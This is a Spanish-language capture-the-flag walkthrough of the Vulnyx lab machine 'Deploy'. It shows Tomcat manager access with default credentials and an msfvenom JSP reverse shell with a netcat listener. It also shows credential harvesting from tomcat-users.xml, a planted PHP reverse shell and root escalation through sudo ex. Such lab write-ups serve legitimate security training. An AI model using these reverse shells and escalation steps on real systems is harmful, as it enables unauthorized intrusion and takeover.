Máquina Deploy (Vulnyx)


Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:

$ netdiscover -i eth1 -r 10.0.2.0/24

  • Kali (Máquina Atacante): 10.0.2.4
  • Máquina Victima: 10.0.2.29
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:

$ ping -c 1 10.0.2.29


Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.

A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

$ nmap -Pn -p- 10.0.2.29 -sVC


Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22, 80 y 8080.

Comprobamos que es lo que corre por el puerto 80.


Comprobamos que es lo que corre por el puerto 8080.


Corre un Apache Tomcat, le damos a la opción manager_webapp.


Nos encontramos con un login.


Al darle a cancelar nos da el error 401 Unathorized, y nos encontramos con las credenciales tomcat:s3cret, proporcionamos las credenciales.


Estamos dentro, donde además nos da la opción de poder subir un archivo .war.

A continuación, con la ayuda de la herramienta msfvenom nos creamos una reverse shell JSP (JavaServer Pages), para ello ejecutamos el siguiente comando:

$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.2.4 LPORT=443 -f war -o reverse.war

Una vez creada la reverse shell, la subimos.


A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:

$ nc -lvnp 443

Ejecutamos el exploit pinchando en el nombre de nuestra reverse shell.

Obtenemos una shell como tomcat.

A continuación, hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos.

$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm

Enumerando el sistema nos encontramos con el directorio /etc/tomcat9 el cual contiene el fichero tomcat-users.xml, lo visualizamos, para ello ejecutamos el siguiente comando:

$ cat tomcat-user.xml

Nos encontramos con las credenciales sa:salala!!.

A continuación, nos conectamos por ssh, para ello ejecutamos el siguiente comando:

$ ssh sa@10.0.2.29

¡¡¡Somo sa!!!

Enumeramos todos los servicios en el sistema, para ello ejecutamos el siguiente comando:

$ ps aux


Vemos que el usuario toor esta levantando un servicio apache http, por lo que nos ubicamos en el directorio /var/www/html y aquí le colamos una reverse shell en .php de pentestmonkey, para ello ejecutamos el siguiente comando:

$ cd /var/www/html
$ nano reverse.php

A continuación, de nuevo en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:

$ nc -lvnp 443

La ejecutamos de la siguiente manera:


¡¡¡Somos toor!!!

Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:

$ sudo -l

Nos encontramos con el binario ex que lo podemos ejecutar como el usuario root. por lo tanto nos vamos a la pagina gtfobins a mirar el payload.

Lo ejecutamos de la siguiente manera:

$ sudo -u root /usr/bin/ex
!/bin/sh


¡¡¡Ya somos root!!!

Podemos hacer un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutamos los siguientes comandos.

$ script /dev/null -c bash
Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm

Ya podemos leer las flags de user root.